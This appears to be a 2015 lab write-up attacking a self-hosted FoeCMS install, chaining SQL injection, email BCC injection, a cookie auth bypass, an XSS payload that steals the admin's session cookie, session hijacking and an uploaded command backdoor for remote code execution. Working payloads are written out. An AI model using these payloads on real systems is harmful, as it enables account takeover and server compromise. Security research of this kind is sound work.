Hacking FoeCMS

Posted on Sun 08 March 2015 in Web Hacking

Today I decided to look at FoeCMS.

There are many known vulnerabilities for the older version of the application (version 1.6.5) but none that I could find for the current version (on Github).

I plan to develop a full attack against this application while looking for vulnerabilities.

Setting Up The App

I setup the application on Debian/Apache/PHP5/MySQL.

Its pretty easy to setup, just pull the code from github with:

git clone https://github.com/themarioga/FoeCMS.git

Place it in the webroot (or subfolder if you wish), set the permissions:

chown -R www-data:www-data /var/www

Then create the database and database user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@foecms:~# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.41-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database foecms;
Query OK, 1 row affected (0.00 sec)

mysql> grant all on foecms.* to 'foecms'@'localhost' identified by 'foecms';
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit
Bye

Now its just a matter of finishing the installation through the browser, visiting the site we get directed to this:

These are the setting I'm using. Notice how only guests with intitations can register.

There is 1 thing left to do, remove or rename the install directory:

root@foecms:~# mv /var/www/install /var/www/install.old

Now that installation is finished when we visit the webpage we should be presented with this:

Some Vulnerabilities

Now we just need to use the application a bit and see what we can find.

Some SQL Injections

The first thing I done is change the language to English (by clicking the little union jack flag on the top of the page), this sends the following request:

http://foecms/index.php?i=2

Which sets the following cookie:

foecms_lang=2; expires=Mon, 09-Mar-2015 11:05:12 GMT

Here we already have 2 possible attack vectors (the value of the i parameter to index.php and the value of the foecms_lang cookie).

In fact both of these are vulnerable to SQL Injection, you can see this if you send this request:

http://foecms/index.php?i=2%27

Here is the full response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Sun, 08 Mar 2015 11:12:31 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foecms_lang=2%27; expires=Mon, 09-Mar-2015 11:12:31 GMT
Vary: Accept-Encoding
Content-Length: 182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<script>history.back();</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

And now if you visit any page, you get the same response body:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

To get rid of this error we need to remove the %27 from the cookie, I prefer Cookie Manager+ for this purpose:

And delete the PHPSESSID cookie:

Continuing to play about with the application I come across another page with an SQL injection vulnerability:

And an XSS is also possible:

I won't explain how to exploit these SQL injection vulnerabilities anymore, I've already done that pretty extensively in previous posts.

A Mail Injection Vulnerability

So Let's move on.

Clicking on Contact at the bottom of the site give you this, rather poorly written, page:

After putting in some arbitrary information, I set Burp to intercept the request, capture it and insert the following into the email address field:

%0aBCC:[email protected]

Here I am trying to inject another email address to send the email to:

Note: for the web application to be able to send emails externally (on the setup I have running) you need to enable it by running the following command and chosing Internet Site:

root@foecms:~# dpkg-reconfigure exim4-config

Checking the mailbox at mailinators website, we can see the email has been received:

Unfortunately the subject didn't get sent correctly but with a bit of testing I'm sure this could be refined to a more convincing email, and then this could be used as an email proxy to send out spam/phishing email.

A Logic Flaw

When trying to register, by visiting:

http://foecms/register.php

We get redirected to the following error:

This is because I set registration to invite only during installation.

After some testing I decided to add the cookie foecms_userid:

I did this because of the foecms_lang cookie. I then clicked on the link to the test post, which sent this request:

http://foecms/viewitem.php?i=1

I got an error message saying No items found and then redirected to the homepage again, where I see this:

So it appears that I have been logged in.

We also now have the extra User Control Panel button, which gives us:

It looks like even though we're logged in, we're not logged in as anyone in particular, which means we have limited functionailty.

For instance, we can't change any account details because our session doesn't appear to belong to an account.

Inviting Myself

I did, however, have access to the invitation page:

After sending an invitation we get this:

So it tells us the URL to visit. Here is the email that is received:

This email isn't really helpful but the application has already given us the registration URL.

The problem is when we visit it we get this:

Fixing The App

The problem we face here seems to be a problem in the application itself.

It doesn't seem to be prepending the prefix to the table name.

Obviously this would have been fixed on a production website so I just fixed this manually by editing /var/www/include/functions.php, line 336, and changing it from:

1
$res = mysql_query("SELECT * FROM ".$MYSQL_PREFIX."invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

And replacing it with this:

1
$res = mysql_query("SELECT * FROM foe_invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

So I'm just hardcoding the prefix into the query, not the best fix but it will work for our purposes.

Now when we visit the registration page we get:

Obviously, if we want to create an account we probably want to give it a less obvious name but we are only testing here.

Here is the welcome email you receive after registration:

The main thing we can get from this is that our email is sent in plain text and its encrypted as MD5.

XSS Via SQL Injection

Actually, after this next vulnerability it might not have been necessary to create an account but the account will come in useful for testing it.

Now that we have an account we can try sending a message to it:

Logging into the new hacker acccount we can see we've received a new message:

But clicking on this message show us this (after some form of redirect):

Looking at the code in Burp we can see why this redirect happened:

But the message was displayed:

Now I did try a number of things to perform an XSS attack but was unable to.

But trying to send another message but with message' in the message box we get the following error:

Clearly we have another SQL injection vulnerability but this time in an INSERT statement.

The error tells us that we are injecting right at the end of the statement, so what we'll do is close off the current row and insert a new row, we'll also need to comment out anything after our injection.

So our injection should look as follows:

message'),([our new record]); --

The problem we've got is we don't know the number of columns or their types used in the statement.

We could use 1 of the other SQL injections to query the information_schema to get that information but we can use a different method.

Because NULL can be typecast to any type in MySQL, we can just keep increasing the number of NULL's until we no longer get an error.

There will likely be at least 4 columns (from, to, title and message), so lets start there by sending:

message'),(null,null,null,null); --

We got another error!

Looking at the request in Burp we can see why:

It seems the browser has stripped the last space from the message, which on other DBMSs it wouldn't be a problem but on MySQL it is, so we will use Burp's Repeater to do this injection:

Now we can edit the request in a lot more detail and sending it is successful:

This means there there are only 4 fields (assumably form, to, title and message).

Obviously, this isn't helpful because we've not filled in any of the fields so the message will not actually go to anyone.

The problem is that we don't know the types of the fields (at least the from and to fields) or the positions of any of them other than the message field.

In this case a bit of trial and error is normally required but luckily the first thing I tried turned out to be fruitful:

Hewre I am just injecting (1,2,3,4) as our new record.

After logging into the hacker account and checking the messages, we have recieved a message from admin with the title 3:

As its showing up as being from admin its likely that the first field is the from field and its using the userid instead of the username.

Also, this means the hacker user likely has a userid of 2.

Clicking on the message, we get:

So it no longer redirects, what that probably means is that because we were sending the message from a nonexistent account the redirect happens but when its sent from a valid userid the redirect doesn't happen.

So now we can test sending an XSS payload:

Viewing this message:

So some sanitization has been done.

We can use MySQL's CHAR and CONCAT functions to avoid using < or >.

We do this by putting the following in the message field:

1
concat('message',char(60),'script',char(62),'alert("xss")',char(60),'/script',char(62))

And viewing this message:

Success!

Now we just have to craft a payload that we can use to steal the admin users session cookies (as the cookies aren't protected with the httponly flag its possible to do this using javascript).

One way of doing that is the following:

1
2
3
4
5
6
p="receiver=hacker%26topic=mycookies%26message="%2bdocument.cookie;
r=new+XMLHttpRequest();
r.open("POST","/ucp/index.php?c=2",true);
r.setRequestHeader("Content-type","application/x-www-form-urlencoded");
r.setRequestHeader("Content-length",p.length);
r.send(p);

Here I'm just sending a message to the account I created with the cookies as the message.

I could have just sent to cookie in a HTTP request to any server on the internet and got the cookie that way but I thought this would be fun :-)

Viewing this with firebug we can see that the request was made:

However, as you can see here (from the response in firebug) the request failed:

This was only because the application doesn't allow sending messages to yourself, when we attack the admin account it will be sending the message to the hacker account.

I think its time to test the attack on the admin:

Notice above that I substituted any instance of & with char(38), this was because the application was converting & for & which broke the attack.

Now logging in as admin (with firebug running so we can see the request):

Now if we check the hacker users messages (obviously from a different browser so we don't expire the admin's session):

Finding RCE

We can now hijack the admin's session, there are a number of ways to do this, all we need to do is add the PHPSESSID cookie to our browser.

This time I'm going to do that by setting Burp as the proxy and intercepting the response from the server to add a Set-Cookie header:

Now if we reload the homepage we are logged into the admin account.

An Unrestricted File Upload Vulnerability

There is now another button on the top of the site Admin's Panel, looking through that a bit give us a good option for a file upload vulnerability:

This seemed to work fine, we just need to figure out where it uploaded to.

Visiting the homepage showed a new section with a broken image (assumably the image that I didn't upload when uploading my backdoor:

Right clicking and copying the link to that broken image gave me the following link:

http://foecms/storecontent/image/test/cmd

Browsing about in this storecontent directory led me to where the actual backdoor had been uploaded:

And now we can run commands on the server:

PWNED!!! :-D

Conclusion

As you can see, there can be a lot of steps involved in attacking a web application, especially if you want to make the most out of the attack.

Yes, I could have used the first SQL injection attack to find the admin account details and crack the password (as in my previous post) but firstly, if the admin accounts password is sufficiently secure and encrypted then it might not be feasible to crack it, and secondly I wanted to demonstrate another of the many ways a web application could be comprimised.

Happy Hacking :-)

Further Reading

I'll advise the exact same further reading as in my previous post because they are all still relevant.